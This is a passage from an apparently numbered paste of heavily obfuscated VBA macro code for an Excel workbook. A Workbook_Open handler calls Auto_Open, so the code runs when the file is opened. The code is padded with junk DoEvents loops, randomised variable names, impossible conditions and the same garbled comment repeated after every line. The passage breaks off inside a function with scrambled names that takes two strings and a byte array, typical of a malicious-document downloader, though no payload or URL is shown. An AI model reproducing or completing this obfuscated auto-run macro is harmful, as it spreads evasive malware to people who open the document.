  318. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  319. Next yQGlHWRo
  320. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  321. GxhldSSq = 2
  322. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  323. Do While GxhldSSq < 27
  324. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  325. Dim EaBOcliD As Integer
  326. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  327. For EaBOcliD = 0 To 4
  328. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  329. DoEvents
  330. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  331. Next EaBOcliD
  332. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  333. DoEvents: GxhldSSq = GxhldSSq + 1
  334. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  335. Dim JnPFligS As Integer
  336. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  337. For JnPFligS = 0 To 1
  338. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  339. DoEvents
  340. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  341. Next JnPFligS
  342. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  343. Loop
  344. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  345.  
  346. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  347. Dim DWVSsppN As Integer
  348. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  349. For DWVSsppN = 0 To 9
  350. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  351. DoEvents
  352. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  353. Next DWVSsppN
  354. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  355.       MsgBox ("Error !!!")
  356. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  357. End If
  358. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  359.  
  360. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  361. Dim qNqQVjSa As Integer
  362. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  363. Dim YOcDSBKX As Integer
  364. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  365. For YOcDSBKX = 0 To 1
  366. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  367. DoEvents
  368. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  369. Next YOcDSBKX
  370. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  371. qNqQVjSa = 6
  372. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  373. Do While qNqQVjSa < 63
  374. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  375. Dim ZogxsVne As Integer
  376. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  377. For ZogxsVne = 0 To 1
  378. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  379. DoEvents
  380. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  381. Next ZogxsVne
  382. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  383. DoEvents: qNqQVjSa = qNqQVjSa + 1
  384. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  385. Dim zoDZjcLU As Integer
  386. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  387. For zoDZjcLU = 0 To 8
  388. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  389. DoEvents
  390. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  391. Next zoDZjcLU
  392. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  393. Loop
  394. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  395.  
  396. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  397. Dim SefbNHZh As Integer
  398. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  399. For SefbNHZh = 0 To 6
  400. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  401. DoEvents
  402. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  403. Next SefbNHZh
  404. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  405.    Auto_Open
  406. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  407.  
  408. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  409. End Sub
  410. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  411. Sub Workbook_Open()
  412. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  413. If 353982 = 353982 + 1 Then End
  414. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  415. If 9515 < 39 Then
  416. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  417.  
  418. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  419. Dim YnxHwLlg As Integer
  420. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  421. Dim euXLGRDi As Integer
  422. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  423. For euXLGRDi = 0 To 9
  424. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  425. DoEvents
  426. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  427. Next euXLGRDi
  428. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  429. YnxHwLlg = 1
  430. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  431. Do While YnxHwLlg < 17
  432. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  433. Dim vYfnWqBt As Integer
  434. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  435. For vYfnWqBt = 0 To 3
  436. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  437. DoEvents
  438. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  439. Next vYfnWqBt
  440. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  441. DoEvents: YnxHwLlg = YnxHwLlg + 1
  442. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  443. Dim BIbFgUeP As Integer
  444. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  445. For BIbFgUeP = 0 To 5
  446. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  447. DoEvents
  448. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  449. Next BIbFgUeP
  450. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  451. Loop
  452. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  453.  
  454. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  455. Dim plkkyvUH As Integer
  456. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  457. For plkkyvUH = 0 To 6
  458. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  459. DoEvents
  460. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  461. Next plkkyvUH
  462. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  463.        MsgBox ("BUiYCPxY11")
  464. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  465. End If
  466. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  467. If Len("gNNnOwoe7572") = Len("LfXgwJHu") Then
  468. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  469.  
  470. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  471. Dim lrmBGtRK As Integer
  472. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  473. Dim YDaUdCRH As Integer
  474. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  475. For YDaUdCRH = 0 To 7
  476. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  477. DoEvents
  478. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  479. Next YDaUdCRH
  480. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  481. lrmBGtRK = 7
  482. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  483. Do While lrmBGtRK < 21
  484. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  485. Dim TLEnfuqx As Integer
  486. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  487. For TLEnfuqx = 0 To 5
  488. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  489. DoEvents
  490. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  491. Next TLEnfuqx
  492. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  493. DoEvents: lrmBGtRK = lrmBGtRK + 1
  494. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  495. Dim jZCVavxV As Integer
  496. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  497. For jZCVavxV = 0 To 5
  498. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  499. DoEvents
  500. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  501. Next jZCVavxV
  502. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  503. Loop
  504. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  505.  
  506. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  507. Dim JvHACKHc As Integer
  508. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  509. For JvHACKHc = 0 To 1
  510. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  511. DoEvents
  512. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  513. Next JvHACKHc
  514. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  515.       MsgBox ("Error !!!")
  516. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  517. End If
  518. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  519.  
  520. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  521. Dim niEhjNle As Integer
  522. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  523. Dim nvHvpJHZ As Integer
  524. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  525. For nvHvpJHZ = 0 To 9
  526. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  527. DoEvents
  528. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  529. Next nvHvpJHZ
  530. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  531. niEhjNle = 9
  532. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  533. Do While niEhjNle < 32
  534. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  535. Dim nmoNSJDJ As Integer
  536. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  537. For nmoNSJDJ = 0 To 9
  538. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  539. DoEvents
  540. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  541. Next nmoNSJDJ
  542. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  543. DoEvents: niEhjNle = niEhjNle + 1
  544. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  545. Dim StebLAwE As Integer
  546. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  547. For StebLAwE = 0 To 6
  548. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  549. DoEvents
  550. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  551. Next StebLAwE
  552. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  553. Loop
  554. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  555.  
  556. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  557. Dim SNwaxZlK As Integer
  558. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  559. For SNwaxZlK = 0 To 6
  560. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  561. DoEvents
  562. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  563. Next SNwaxZlK
  564. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  565.    Auto_Open
  566. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  567.  
  568. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  569. End Sub
  570. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  571. Function PZQGZXPGNNP(ByVal TWTUFQULVUY As String, ByVal DNZWAGZEAAU As String) As Boolean
  572. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  573.     Dim RNNVUWVLESY As Object, PFTOSMQXJLP As Long, RVDHCWIGIMP As Long, ZEFGKWXQJQF() As Byte
  574. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  575.  
  576. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  577. If 323226 = 323226 + 1 Then End
  578. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  579. If 9743 < 94 Then
  580. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  581.  
  582. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  583. Dim peCJFnhG As Integer
  584. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  585. Dim qfGnuLBq As Integer
  586. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  587. For qfGnuLBq = 0 To 1
  588. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  589. DoEvents
  590. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  591. Next qfGnuLBq
  592. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  593. peCJFnhG = 6
  594. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  595. Do While peCJFnhG < 35
  596. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  597. Dim cFvDnnWV As Integer
  598. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  599. For cFvDnnWV = 0 To 3
